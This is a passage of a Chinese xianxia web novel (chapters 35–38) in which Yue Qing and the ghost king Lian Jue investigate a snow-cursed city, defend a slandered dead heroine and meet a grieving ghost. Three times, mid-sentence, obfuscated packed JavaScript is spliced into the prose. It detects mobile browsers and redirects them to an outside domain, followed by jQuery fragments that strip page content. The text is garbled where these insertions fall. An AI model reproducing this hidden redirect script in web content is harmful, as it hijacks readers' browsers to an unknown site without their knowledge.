“我也听说了,那净月宗就此一枚宝丹,正是给当时的月如金准备的,没成想被叶凝冰设计夺去了,”另有一长满胡茬的男人拱火道,“那月如金一路追到了咱们卢嘉城的长虹桥,可惜她已服下丹药一步飞天,转头便翻脸不认人,一掌碎了长明剑,还亲手毁了月如金的修为,真是最毒妇人心。”
“岂止,她前脚打废月如金,后脚就夺走了月如金的仙盟盟主之位!”
另有人附和着咬牙恨道,“昔年还道这位叶仙首一鸣惊人,身怀大义,后来才知她根本就是个绝无仅有的卑鄙小人,不仅夺了月如金的修为地位,还抢了那能名垂青史的机会!道她英雄,她也能是英雄,她就是个狗屁!而如若不是她,卢嘉城更不会变成如今这般模样!”
几人埋怨纷纷,低声咒骂,仿佛他们所有的痛苦、难过、挫折、残缺,皆因叶凝冰而起——
“胡说!胡说!这群狼心狗肺的刁民,竟然敢如此诬陷诋毁我娘!”少宗主大怒,骂道:“我要杀了他们!”
月情同样心中不虞。
旁的不说,单单叶凝冰牺牲自己阻挡妖族入侵就足以百世流芳,封神成仙,可在这些人嘴里,她反而卑鄙无耻,恶心之至,处处是错。
她冷声道:“十六年前你们怎么不骂?最好是当着抵御妖族的叶凝冰骂,让她亲眼看到你们这幅嘴脸,让你们一个个成为妖族的嘴中肉。”
那几人闻言脸色皆是一变。胡茬耳红脖子粗,却还在嚷,“她是修士本就该斩妖除魔,这是她的本分,而且她若是没有偷仙丹,做英雄的机会也轮不到她!”
罗锅红眼道:“叶凝冰身陨之时几岁?她如若没有偷丹,再给她十年也入不了化羽境,她就是偷了抢了别人的东西,是,她是抵御妖族死了,但那又如何,没有她,也还会有月如金!这修仙界从来……”
不等他说完,月情拿起酒壶就砸,正中他的头,哐当一声,那罗锅踉跄两步,直接摔了个屁股墩。
众人皆看向她,或惊或怒。
月情冷眼道:“修士斩妖除魔是本分,那妖魔鬼怪吃人岂不也是天理?”
几人一呆,她扯唇耻笑一声,脸庞半隐在黑暗里,而靠近一分一毫,众人才发现这乍一看光华明媚的少女并不对劲。
她的眼瞳竟然是猩红如渗血一般的赤色。
众人悚然一惊,正这时,凌厉的寒风突地刮入庙中,高声长啸,犹如厉鬼嘶号。
以往温热的雪也变得寒意深重,风更是如冰刀一般在脸上刮,无尽的风雪卷席而至,像无数只厉鬼阴冷又锋利的五指,撕抓着他们全身!
“你…你……”他们惊惧地往后退,不可置信。
狂风呼啸中,那少女立在门前,眼中是冰冷的血腥,幽幽如女鬼索命的冷笑传来。
“啊!”殿内众人嚣张憎恨的嘴脸登时消失不见,只剩下惊恐扭曲的慌乱。
他们惊叫万分,喊着符纸,叫着饶命,甚至有些人慌不择路地去抢掉落在地的玄女石头,一拜二求三急呼。
全然忘了方才肆意侮辱的丑恶嘴脸。
当真是如变戏法一般。
月情只觉可笑。
若叶凝冰还在,即使她真是普天之下做尽坏事的魔头,也不会有一个人敢在这座庙里这样骂她。
偏偏,她是抵御妖族入侵,拯救万民于水火的“冰天玄女”。
一群欺负死人不会还嘴还手的货色。
月情没个好脸,恶意道:“这种人就当由风宁来教训。”
蜻蜓忍不住出声,“属实是侮辱风宁了。”
月情沉默片刻后难得反思,“确实。”
她道:“决定了,回见云山时,我要顺一壶桃花酒带回去补偿他。”
“风宁不喜欢酒,”蜻蜓说着又道:“倒是传说中叶凝冰有一名号为桃花客,所接委托皆为五文钱一单,只因桃花酒经年来也只有五文钱。”
桃花客,这名号真洒脱。
而濛濛风雪中,她好似瞧见了一风姿绰约而又不拘小节的侠女。
自诩桃花客,生平最爱桃花酒。
虽仅有五文钱,但更有大意趣。
月情拿回了自己的酒葫芦,心中一动,不由莞尔。
她打开了壶嘴,将酒浇在地上,轻声道:“敬大雪,敬桃花,敬叶仙首。”
温热的酒浇在温热的雪花上,渐渐消融,泛起一阵阵香气。
天上的雪下得很大,须臾便要盖过桃花酒洇湿的痕迹,她抬目,那雪极细,极缓,轻飘飘落,似呼吸、似羽毛。
说来也怪,少宗主与叶凝冰皆拥有极强的冰雪之力。
但少宗主的一招一式间是摧枯拉朽的极寒风暴,凛冬霜意,而叶凝冰牵动天象落下的大雪,却温暖如春,和风细雨。
她眨了下眼,融化的雪丝成水,温温凉凉。
转瞬间,落雪已经要没至她的小腿骨。
蜻蜓抖雪道:“这十六年来每天都下这么大的雪?”
月情道:“不会,我见这地方的人很少撑伞,也很少有人穿防水的靴子,应该是最近天气反常,雪越来越厚,越来越重了。”
她说完,抬眸看向不远处。
一处残墙内,隐隐约约冒出半个头。
而连绝立在一边,目光晦暗。
残墙内正是方才被众人欺负的李香香。
她已经被雪埋了一层,仍旧捂住头不住地在发抖。
月情见此,靠近过去把她给挖了出来。
那李香香被惊住,抬头瞧见她,却是眸光呆滞,紧接着凶狠混沌地伸出五指,直接朝她扑了过去。
月情抓住了她的手腕,那李香香龇牙咧嘴地叫了两声,又痛苦地惨哼起来,哀哀而叫。
她不由蹙眉,“她这是……”
连绝瞧着她的模样,缓慢地垂下了眼眸,道:“她的灵魂被撕裂了,所以才会痛。”
月情闻言愣了一下。她试探地凑近低头,看见了她痛苦绝望的神情,嘴唇翕动,不忍道:“没有什么办法吗?”
连绝道:“死了,就不会痛了。”
月情愣愣地没说话,抬眸侧目看他,他眼底幽暗如墨,似有无尽阴霾,而见她看过来,又微微抬起眼眉,低低重复了一遍,“死了,就不会痛了。”
她手心里抓着融化为水的雪,一点点渗透,发着凉,发着冷。
月情将手心擦干,又轻轻咬牙问,“如若她想活呢?”
连绝看向她,眼中一片漠然,“从她遇见恶鬼的那一刻,就没有了选择的机会。”
月情无言以对,纵然有些残忍,她却也不得不承认连绝是对的。
她看向她,李香香苦苦挣扎,混沌的眼中似乎恢复些许神智,艰难地用一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971784|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只手指了指自己歪斜的嘴。
月情一怔,温声问,“你是饿了吗?”
她又连忙回头,叫道:“蜻蜓,把你藏着的糕点交出来。”
蜻蜓不知道她怎么发现的,讷讷地捧出来,补充道:“只剩这一块了。”
月情快步接过,又将其喂到李香香嘴边。后者害怕地躲了躲,眼神瑟瑟,确认没有危险,嗅到的是香气,眼中竟然泛起热意,狼吞虎咽地把那块糕饼吞吃入腹。
她想叫她慢一些,忍不住轻轻拍了拍她的背。
李香香却不知怎么了,不住地打颤,而眼泪、涎水、雪水混着饼渣往下在掉。
她忽而头疼,青着脸色又哭又叫,痛苦不堪地蜷起身体,甚至用力去砸自己的头。
月情连忙要抓住她,可阻止的手却又僵滞在空中。
她沉默了良久,看着她痛苦、自残、挣扎,终无力地落下了胳膊。
“大王,让她……结束痛苦吧。”
轻而微的声音在雪地里乍泄而出,那张干净而明丽的脸上是哀哀的苦。
连绝无言,回转过眸光,落在疯癫的李香香身上。
“不行!”蜻蜓却急急地拦住了他们,道:“大王,你千万别动她,这是没有因果的,风宁说了,若是杀了没有因果的纯白之人,是会反噬到你身上的。”
他有些艰难,又有些无情地道:“而且,而且你不动手,她自己也活不下去,她总会死的。”
连绝闻言偏目过来,“什么因果?”
蜻蜓难为地挠挠后脑勺,“大王你知道的,我对修行一道一窍不通,风宁也不是能正经好好跟我说的,只是道反噬很严重,越厉害的鬼反噬越严重。”
修行一道,连绝也所知不多,只闻他这般说,便沉默下来。
李香香的头疼终于缓了过来,她又神志不清地啃了两口雪。
浑浑噩噩中,她看见了他们,恐惧而瑟瑟地缩了缩,往墙根去砖,抱住头,把自己死死困在了墙角。
月情欲言又止,心中难受。
蜻蜓同样不好受,动了动唇,却是匆匆道:“快走吧。”
无人再出声,唯余席卷而来的风雪飒飒。
再去义庄,别无异常。
而义庄的木门上同样设有万剑宗留下的法阵。
月情低着头淋雪,默然地接过封灵玉一人而往。
她垂着眼眸轻轻推开门。
义庄内颇有些幽暗,传出些淡淡的臭味。
那气味并不算浓烈,万剑宗应该是择人来处理过。
她静默地环视一圈,却发现里间陈列的尸体无一不是身材萎缩的老人。
月情感到几分古怪,微微凝眉。
停顿片刻后才打开了封灵玉。里面存留的一缕天魂徐徐飘浮而出,静静在空中悬浮了一段时间,却并没有动。
他左右晃动一二,却并没有找到自己的尸身。少顷,天魂似乎觉察到什么,从义庄内飘浮而出。
月情疑惑地跟上他。
天魂懵懂地淋着大雪,微弱的魂魄在炫目的白中几乎不可见。
他飘在天地间,浑浑噩噩地浮动着。
倏尔,他突然猛地抖了一下,不知从哪来的一股力气,竟然挣扎着显出了人形!
那是个气息低微,但身材高大的青年男子。
他眼中一片混沌,已然想起生前最后一幕,恐惧、痛苦、恨意,三种情绪交织燃烧,令他的面容无比扭曲凶恶。
他低吼了一声,双目猩红。
而紧握双拳,忽而暴起,怒不可遏、恨入骨髓地朝着一处猛地蹿了出去——
36. 见悲欢(六)
月情连忙御剑而追。
少宗主却主动道:“不必追,我直接教你一招引魂术,把他给引回来。”
月情闻言停步,偏头看她。
少宗主的残魂透明无光,在雪中也难以分辨,看不清神色。
但她语气已经寻常,没有了方才的怒不可遏。
她便应道:“好。”
少宗主开始念咒,月情则依言扫开一片厚雪,将灵力聚集至指尖,轻轻一划,引魂阵便落于地面。
须臾,阵法即散发出朦胧暗光。
一根缠动着的丝线飞速游移而动,她跟着抬头,不远处的路口果然多了个被丝线牵来的灰蒙蒙的身影。
定睛一看,却并非是那暴走的天魂,而是一着青衣头戴斗笠的不知名游魂。
那游魂鹤发鸡皮,垂首而动,幽幽而泣,似苦极、悲极、伤极、痛极。
只闻其声,好似天地间最痛最伤之事尽在眼前,让人无计可施,无路可走,颓然而跪,悲痛欲绝。
月情定在原地,眼睛被那灰色身影死死攫住。
她的心头处突然铺天盖地地涌来一股无法言说、无法体会、无法理解的极致悲哀。
仅仅一秒,她的眼中就蓄满了泪水,整个人摇摇而坠,阵阵头晕,绝望不止,似一脚跌入那无穷无尽幽暗诡谲的可怖深渊。
再爬不起来。
而眼前的一幕幕则是梦。
虚无缥缈的梦。
游魂是梦,修仙界是梦,少宗主是梦,而连绝……也是梦。
……
而她在哪?
在哪……?
大雨来得突然,磅礴而下,在寒秋中泠泠刺骨。
月情在一条泥泞的小路上艰难地行走,豆大的雨珠砸下来又疼又冷。
她急着避雨,笨拙地抱着比自己重了大半的洗衣盆费劲回头。
回头刹那一见,路的尽头处却是一间幽暗而深的柴房。
她怔在原地,心头猛地一跳,下意识后退,一脚却踩在泥坑里。
冰冷黏腻的触觉如蛆附骨,如冰锥心,令她不可控地打了个寒战。
雨,还在下,还未停。
她却不敢前进乃至一步。
雨水狂流如注,月情锥立其间,如即将被渊泽大海漫漫而没的孤岛,绝望而死寂。
可她却仍旧没有前进一步,躲进那偏安一隅,足以遮风挡雨的柴房。
她只是木然地站着。
眼神空洞,呆呆看着前方,没有哭也没有悲伤,只是怔怔然、湿漉漉地站着。
孤寂而长久。
久到稚子归老,久到从生到死,久到月亮西沉,久到真情不再。
久到她鹤发鸡皮,青丝长坠,低低而泣……
月情听到了自己破碎的哭声,看见了苍老到极致的手。
她泪眼朦胧,极轻地抚摸了一下,恍惚而又缓慢地低下头,苍老的手指僵硬,勉强动弹着,一点点,将那皱而长满全身的鸡皮剥下来。
血从身上丝丝缕缕的溢出,皮开肉绽,她却仍不停手,细致而又专注地用僵硬的手一遍遍地撕着身上的鸡皮。
不知多久,她已浑身是血,犹如地下的千年血尸,才停止了动作。
痛吗?很痛。
但被冰冷的雨水灌满的心,哀伤不止的心,终于被剧烈的痛掩盖而去。
而她动了下眼珠,难耐地呼吸,行将就木般缓缓而慢地抬眼看向那幽暗的柴房。
脑子里不住地叫嚣着一个声音。
毁了它、毁了它——
仅仅一瞬,大火乘风而起,烟尘呼呼上天,柴房化为焦土废墟,整个世界都被扭曲出一片片火浪波纹,赤红之日都为之黯然失色。
她轻轻吸气,片刻后,又毫不犹豫地走了进去,任由大火焚身,灼烈烹心。
……
再抬眼,入目是白茫茫世界。
而方才的一切,恍如幻觉。
哀嚎的哭声却从耳边传过来,月情一回头,蜻蜓正蹲在路边抱头痛哭,隐隐昏厥。
而那着青衣戴斗笠的老婆婆陪着他一块低泣,一边流泪,一边割腕,但她是游魂不说,手里也没刀,割了半天无事发生。
月情看着眼前凄凄惨惨戚戚的一幕,又幽幽看向少宗主。
“怎么回事?”
少宗主:“…不可能是阵法的问题,至于为什么来得是她,”她想了想又笃定道,“这一定是因为缘分,命中注定就要来一场说哭就哭的哀嚎。”
月情微微扯唇,懒得点评她一贯的不靠谱,又朝着路口快步而去。
蜻蜓已经悲伤得不能自已,哭嚎不止,落下的眼泪将脚底下的雪全都融化了。
而连绝虽然未受影响,但看着不住落泪的蜻蜓,明显神色凝重、身形僵硬。
她一时难言,试探地问,“这是……什么情况?”
连绝道:“那只游魂情绪很重,悲伤至极,甚至能影响附近的人。”
话落,他看向她的眸光轻动,欲言又止。
月情微微一滞,扬唇又冲他笑,“我没什么伤心事,也没有受影响。”
目光撞在一起,此间静了一瞬,她又轻轻问他,“你呢?”
连绝动了下唇,随之移开眼眸,轻声道:“我也没有。”
没有什么?
是没有难过,还是没有受影响,或者是两者都没有?
他没有说清楚,而她也没有仔细问。
唯独蜻蜓还在哭,眼泪鼻涕一块儿流,眼眶红肿,难过神伤,扯着嗓子大大哀嚎。
“……”
连绝轻轻又无奈地问,“你有办法吗?”
月情也深觉棘手,片刻后,她忽而灵光一闪,“我有一计。”
他转目看向她,眼眸中是村里唯一一个年轻人进京赶考的无限期望。
月情顿时从兜里掏出了一面圆镜,将其对准了悲伤不已的蜻蜓。
少宗主见此震惊道:“你居然跟着风宁学会了这一招,月情,你以前不是这样的!”
月情毫不停手,飞快将方才一幕刻印在行云通天境上,随之发到广发议论的广场上,“引魂术引来了一只哭丧鬼以至同僚痛哭流涕,求解:该如何安慰才好?”
附近·万剑宗热心苏饼一枚:“???卢嘉城还有哭丧鬼,破邪盘没有信号啊!”
附近·万剑宗知名穷剑修:“……无伤阁推销手册上有讲,改良后的破邪盘不会再追查无害游魂……”
附近·万剑宗章昱:“给他上一盘山药枣泥糕可解。”
月情眼睛一亮,“大王,山药枣泥糕!”
连绝神色一凛,掏出一碟子山药枣泥糕塞到蜻蜓的嘴中。
后者哭得打鸣,但毫不耽误进食,嚼嚼嚼后又悲伤捶地道:“不甜!”
月情闻言拈来一块,尝了一口后差点吐出来,岂止是不甜,简直是人神共愤地难吃。
食屎也不过如此。
哽了好半晌,她才面目扭曲道:“大王,孩子哭得这么惨,给孩子吃点好的吧。”
连绝:“……”
月情忍不住哕了声,推着他去方才那家店买新的,连绝面色微微变化,迟疑片刻后转身而去。
她目送他远去,又面色扭曲地哕了声,赶紧摸出腰上挂着的酒壶,喝了两口桃花酒才压下那股味。
再回头看蜻蜓,比之前更惨了,一边哭,一边呕,一边捶地,一边崩溃。
绕是天不怕地不怕的少宗主此时此刻也心生惧意,“可怕,实在是太可怕了,不愧是鬼王,随意出手就能将你们俩折腾至如此境地。”
月情:“……哕。”
她捂住嘴,又道:“你还好意思说,那个天魂不知道去哪了,还引来这只游魂,哕…可怜的蜻蜓…哕……受伤的永远是他。”
少宗主咳嗽一声,道:“你凑近一些让我瞧瞧那游魂,她受引魂术而来,不可能无缘无故,定然是有其中的天缘奥秘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975771|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
月情闻言捂嘴靠近那游魂,后者虽然哭得没有蜻蜓如此这般地惊天动地,但却哀恸不止,以致于她纵然死了,却也持续又重复地做着用刀割腕的动作来自裁。
嗯?不是割腕。
她靠近几步,才发现那老婆婆并非是在割腕,而是在割手心。
如若要自杀,割腕是最慢也最不易成功的方式,而割手掌心就更不必说了,所以这个老婆婆并非是在求死?
月情惑道:“为什么她会持续不断地重复割手心这个动作?”
少宗主猜道:“莫非她生前是被人放血放死的?”
月情顿了一下,靠近过去,温声问道:“婆婆,你是不是有什么未了的心愿啊?”
那老婆婆缓慢地看向她,面容被斗笠轻纱遮住,看不真切,唯有低低地哀吟诉说着她的悲伤,“我在等春天,在等雪化…我等不到,没有春天,雪也化不了……”
说着,她掩面而泣。
月情怔然,看着这漫无止境的大雪,久久失语。
卢嘉城里的人都讨厌这雪……
长夜骤亮之时,人们会觉得无比兴奋痛快,更是激动解脱,他们围聚在一起,清扫着英烈荣光——那一片片纯净洁白的大雪,为此热泪盈眶、为此顶礼膜拜。
胜利了吗?胜利了!终于胜利了!
他们热情欢舞,彻夜明灯,但喧嚣、欢腾、庆祝却只有一刻。
……
胜利的喜悦翻过在昨天,凶恶痛恨的妖族也停留在过去,人生这样地漫长,长明之后,唯有最平淡、最枯燥的生活。
是每一天重复扫得雪,是凿过无数次的冰,是茶米油盐、摩擦争斗、重复而麻木、一件件不值一提的小事。
更是藏在荣光下的难过、疲惫、饥饿、穷苦。
怨念早就滋生了,只是没人敢对着光荣牺牲的英烈呛声,但只要有一个人大声说那不是英雄,是个卑鄙无耻的小人,那么铺天盖地的阴暗就会汹涌而来。
英烈是无可指摘的,他们的穷苦、平庸是无处发泄的,但只要叶凝冰不再是英烈,是小人,那么一切的一切就有了发泄的出口!
无人可以憎恨,那就去恨一个永远开不了口、翻不了身的死人。
这是一场从生到死的折磨,他们每一个人都曾真心地为那神明哭泣、挽歌,但最终都走向了怨恨的尽头。
雪不会停,怨念仍在滋生。
这只会是开端。
月情接住一捧温热的雪花,明明不冷,却如此难捱。
她不由喃喃轻声,“雪化的时候是最冷的,可这些雪花都是温热的,叶仙首,你是想告诉我们这些雪永远也化不了吗?”
降下这场大雪的人却再也回答不了。
少宗主却高声道:“怎么可能!”
月情停顿在原地,少宗主的光影在大雪折射中,融于天地间,看不清其身,只闻她清亮的嗓音,如大雪中翱翔高飞的雌鹰。
“雪花为什么是温热的?是因为她喜欢啊。她自称桃花客,最是潇洒惬意热爱桃园春山,而且大雪纷纷,如若极寒极冷,一定会冻死很多人,她分明是在微末之时也考虑到了这一点!只不过,只不过,没有那么完备,没办法阻止大雪经年下落、海港结冰永冻……”
少宗主说着又神色认真道:“月情,世界上不会有那么完美的人,不可能什么都考虑好,但没关系,她身后还有我。你要相信我,你一定要相信我。我会做到的,不会太久的,我一定可以做到的,可以让东南方重新见到春天!”
月情听见她无比笃定坚信的声音,心头蔓延起一股说不清道不明的暖流。
她缓缓扬唇,道:“我当然相信。”
她从未见过叶凝冰,暂且不提,但她与少宗主日夜相伴,尽管后者常常冒出一些不大不小的问题,但她还是无愧于修仙界少年弟子第一人的名号,她眼中是有有天下,心中是有道义的。
她当然愿意相信,当然相信她。
37. 见悲欢(七)
月情精神一振,又看向那老婆婆,决心要好好安慰她,劝她放下心结。
抬眸却见那老婆婆裹着身破烂发旧还有不少补丁的衣裳,斗笠也灰蒙蒙地破了几个洞,雪就从洞里漏进去,和花白的头发混在一起,更显得她灰暗、凄苦。
她仍旧悲伤,悲伤着悲伤着,再度行尸走肉一般,开始重复那个动作,继续去割自己的手掌心。
月情慢慢蹲下来,看着她这般作态,心中微酸,“婆婆,为什么要一直割手心呢,是不是因为有人对你做了这件事?”
那老婆婆的哭声戛然而止。
她抬起手,用坠满了鸡皮的手藏到斗笠里去擦泪水,又幽幽然道:“割手心么…它可以让雪停啊。”
月情愣在原地,“什么?”
老婆婆又幽幽然飘忽忽地重复了一遍,嗓子里传来一声含怨似吟的低泣,似极其不甘,不甘为何她坚持了这般久,雪却还未有停。
月情反应过来,连忙问:“您是如何知道,是谁告诉您的?”
老婆婆茫然了好一阵子,才咕哝着含糊道:“我不记得了,那是好久以前了,那时候,我还活着呢……”
月情又问:“您今年几岁,或者说,您离世时是几岁?”
“我吗?”那老婆婆喃喃轻问,半晌后又低低回道:“我不知道,我只知道我等了很久、很久,久到头发白了,身体坏了,没人要了,丈夫孩子都死完了…也没有等到。”
她说着,勾起了那段段伤心事,又开始低泣流泪,呜呜而哭。
月情听到她这么说,心下不忍。
人生之八苦,生老病死、爱别离、怨憎会、求不得、放不下,这老婆婆却挨个尝遍……
她难受而又轻声劝道:“为什么要等呢?生死为界一切终了,您该放下的。”
老婆婆闻言却不肯,极其固执地摇头,她似乎想说什么,却呆滞了半晌,浑浑噩噩,只喃喃念着,“雪会化的,很快就会化的,我会等到的,我会等到那一天……”
月情呆在她身边听着她的哭声,竟渐渐也感到心头酸涩,眼眶发热,不由自主地哽咽了一声。
待连绝回来时,就看见这一片白茫茫的世界,就剩他们三个可怜巴巴地蹲在路口。
一个抽抽地哭,一个哀哀地哭,一个默默地哭。
他:“。”
月情第一个看见他,哽咽了声,鼻音浓重地深深控诉道:“你为什么回来得这么慢,我还以为你再也不回来了,还以为你不要我了……”
连绝低头瞧见她红红的眼圈,舌尖一滞,片刻后才轻声回,“刚巧卖完了,便多等了一会。”
她难过侧目,鼻根酸酸道:“我不要听这些,我不听,你就是故意不想回来,我讨厌你。”
大雪飘落,轻起微风,吹起她的碎发,露出破碎的小脸,以及微微湿润的墨黑眼睛。
因为委屈、难过,眼尾泛起一抹艳丽的红,在白色的世界中,如此显眼。
也如此地灼目。
连绝有些僵滞,无法去看那抹红。他垂眸避开,再开口,语气免不了迟疑,“月情,你受到影响了。”
“我没有,”她快速否认,又去揉眼,入手却湿湿凉凉,不由更悲伤了,眼泪无声而落,别扭而嘴硬地道:“我讨厌你。”
余光中却忽而多出了一壶打满的桃花酒,她揉眼的动作微微一滞。
而熟悉的声音仿若近在耳畔,低而轻哑,“对不起,是我来晚了。”
月情吸了下鼻子,嗅到淡淡的香味,却仍旧埋下头不看他,而是漏出一点声音,抽抽搭搭地闷声说:“不要对不起。”
不要对不起,她本来也不想他道歉,她想要的分明很简单。
可他根本领会不到她的意思。
月情静静等了好一会儿,也没等到他说话。
她终于忍不住偷眼侧目瞟过去,却对上了他充斥着困惑与不解的一双桃花眼。
分明是含情深深而望的眼形,却又如世间最钝之榆木。
月情一瘪嘴更难过了,为什么他是个木头啊,她呜呜而哭,悲伤从深处而来,眼泪滚珠似地往下掉。
这下子,连绝才真正明白什么叫做绝望。
他看着面前哭个不停的三位,沉默、迟疑了良久,默默掏出了最后一根救命稻草。
少宗主见之,忍不住叫道:“天呐,连绝也学会了那一招!”
而此时此刻,连绝手捧行云通天境,注目而见,神色端正,仿若手捧明是非辨善恶之圣贤天书。
他学着月情将方才之事叙述一遍,神色认真而执拗,“求解:该如何安慰?”
附近·万剑宗热心苏饼一枚:“不好,已经开始人传人了吗?题外话:恭喜月晚哭丧天团,下次风宁发新曲时,可以发少宗主哭丧神图。”
附近·万剑宗知名穷剑修:“大师兄,你小心少宗主瞬身来揍你……”
附近·万剑宗章昱:“?”
附近·万剑宗章昱:“有三种解法:其一,将哭丧鬼打散,其二,将少宗主的眼珠子挖出来,其三,把你的心剖出来递给她告诉她这颗心只属于你。”
附近·万剑宗知名穷剑修:“有点吓人了二师兄……”
附近·万剑宗热心苏饼一枚:“冷静啊道友!!!这是黑心章鱼,别听他的啊,很简单,你只要告诉她我不会不要你,我一定会回来足矣!!!切记,语气一定要温柔、一定要情真意切!”
连绝逐句研读,学成归来。
他微微端正神色,在心中默念一遍,又努力温柔地朝她唤道:“月情。”
月情心中一动,埋在膝盖上的头也动了动,默默竖起耳朵尖。
他说,“我不会不要你,我一定会回来的。”
真被他学到东西了?
月情心中诧异,又十分矜持地嗯了一声,忍不住勾起唇,随之转过头去,开心地看向他。
抬眼即对上他深情款款的眼,而此句一言,更是情意拳拳的掏心窝子话。
但她不感动,是真的不敢动。
连绝捧起那颗热乎乎、血淋淋的红心,道:“这颗心属于你。”
他又贴心补充道:“如若不够,还可以再掏。”
月情:“……”
滚啊啊啊!!!
连绝瞧她一眼,勾唇轻笑了声。
月情被吓得脸色惨白,滞了滞,看他这般模样,瞬间反应过来,好气道:“你居然故意吓唬我!”
他只是看着她,眸中亮起星星点点的笑意,随之又提起那一壶桃花酒,道:“酒要冷了,而且,是你捉弄我在先。”
“大王,你冤枉我,”月情当然不肯承认,快步而去一把抢掉他手中的桃花酒,再度委委屈屈难过道:“我可没有捉弄你,我是真心难受。”
说着,她抽抽地哽咽一声,又故意哼了一声,道:“也真心讨厌掏心窝子吓人的恶鬼,呜呜。”
连绝接话道:“既然你真心讨厌,那从此以后便桥归桥、路归路,此生不再相见。”
月情:“?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981142|160926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她原以为连绝只学了一手,没想到他每一手都学会了。
她微微咬牙,道:“大王,你串词了,这是小师叔的台词!”
连绝脸上挂起淡淡的笑意。
蜻蜓也情不自禁地跟着笑,“嘿嘿……”
他的嗓子早嚎哑了,笑声又粗又大,一出声就夺取了所有人的注意力。
他一呆,又赶紧捂住自己的嘴,红肿着眼睛慌乱而又心虚,继续往嘴里塞枣泥糕,硬着头皮出声道:“请不要看我,也不要在意我,请你们两位继续。”
气氛凝滞,只余那熟悉而又冰冷的视线。
他费劲咽下喉咙里干噎的糕点,强颜欢笑道:“我的意思是,请你们两位继续追查为什么引魂术招来的是哭丧鬼而不是天魂。”
而这个问题,月情已经想到了。
“很简单,”她抱着桃花酒,道:“既然引魂术并未失效,那就说明逃走的天魂已经不再是鬼。”
蜻蜓懵了一瞬,打了个哭嗝,“啊?”
引魂术会招来附近的鬼魂,可如此长的时间过去,竟然唯有一只游魂受牵引来到此地,这说明卢嘉城里除了他们再没有第二只鬼魂。
月情的目光渐渐游移至鸡皮游魂身上,“城中批皮鬼风浪已掀起一个月,处处是杀人食魂的恐慌、恶名。但纵然批皮鬼杀人食魂的手段再厉害,他也需得先破□□才得以吃掉灵魂,而那些没有肉体凡胎的游魂自然更容易被吸食,可一月已去,城中游魂尽数被吞食,为何她独独能幸存?”
蜻蜓呆了一瞬,手脚并用地爬到连绝身边,炸毛骇声道:“她是批皮鬼?!”
说完又觉不对,“所谓批皮鬼,是食其魂魄后砖入尸身取而代之,以此迷惑肉眼凡胎之人,继续杀人食魂换皮引诱,可她分明就是一只切切实实的游魂啊!”
月情道:“我并未说她是批皮鬼,我只是说批皮鬼不吃她。”
蜻蜓听完后稍稍放下心,他看了眼那哭哭啼啼浑浑噩噩的老婆婆,兴许是方才大家一块儿蹲在路边哭过而引起的哭友情,加之她又有八苦之痛在身,他深觉她又可怜又无辜又凄惨。
他便道:“兴许是婆婆运气好,恰恰没被发现,而且万剑宗那一行人已经去捉批皮鬼了,想来她刚好躲了去……”
蜻蜓咽了下口水,又古怪道:“不过话又说回来,这么短的时间,那天魂怎么能从鬼变成旁的东西?”
这个问题也很简单,天魂只需要学批皮鬼,杀掉最近的一个人藏在凡胎□□中便可以躲过。
但按理而言,天魂如此弱小,并不能做到杀人。
那么他是如何逃脱引魂阵的呢?
月情若有所思,抬眸却对上了连绝沉静失神的眼睛。
月亮上升,太阳西落,星辰散开,瑰丽而璀璨,洁净的雪反射着纯洁月光,照亮了他们的脸,而雪地上唯独倒映着她的影子,隔阂出一条明暗的分界线。
而她的心,也渐渐下沉、蒙光。
月情踩上雪地,发出咯吱咯吱声,沙沙轻哑,一步接一步,留下一连串的记印。
她走到了连绝的身前。
他微抬眸,光不明,并不能看清她的脸。
只闻她轻声问:“大王,你在想什么,或者说,你看到了什么?”
连绝默然无声地静静而立,又轻垂下眼睫不想多言。
但她的目光在夜色里就如天上月一般引人注目,令他避不开、逃不离,也无法躲避,无法逃离。
终于,他哑声道:“天魂吃掉了李香香。”
38. 见悲欢(八)
月情停在原地,失声不语。
蜻蜓闻言更是悚然一惊,不可置信,“啊?!”
又疯狂摇头,“那天魂如此弱小,纵然能保持人形而不散,也决计不可能吃掉李香香,而且,而且,而且正如月师傅所言,李香香是有凡胎□□保护的,他吃不了她……他怎么可能吃得了她?”
他一边说,一边拍胸口,苦哈哈道:“大王,你不要说这种话来吓我啊,我是真的会怕的!”
连绝微微敛目。
“蜻蜓,他没有吓你,”月情抬起眼,轻声道:“天魂吃不了李香香是事实,但如若是李香香自愿给他吃呢?”
蜻蜓闻言呆在原地,嘴唇翕动,半晌,又傻傻地立在那,只迟钝地问,“……为什么?”
没有人说话,唯独那只哭丧鬼还在重复着割手心的动作,继续悲伤地流泪低泣。
月情吸了下鼻子,踩了踩雪堆。
沙沙哑哑的声音有些刺耳。
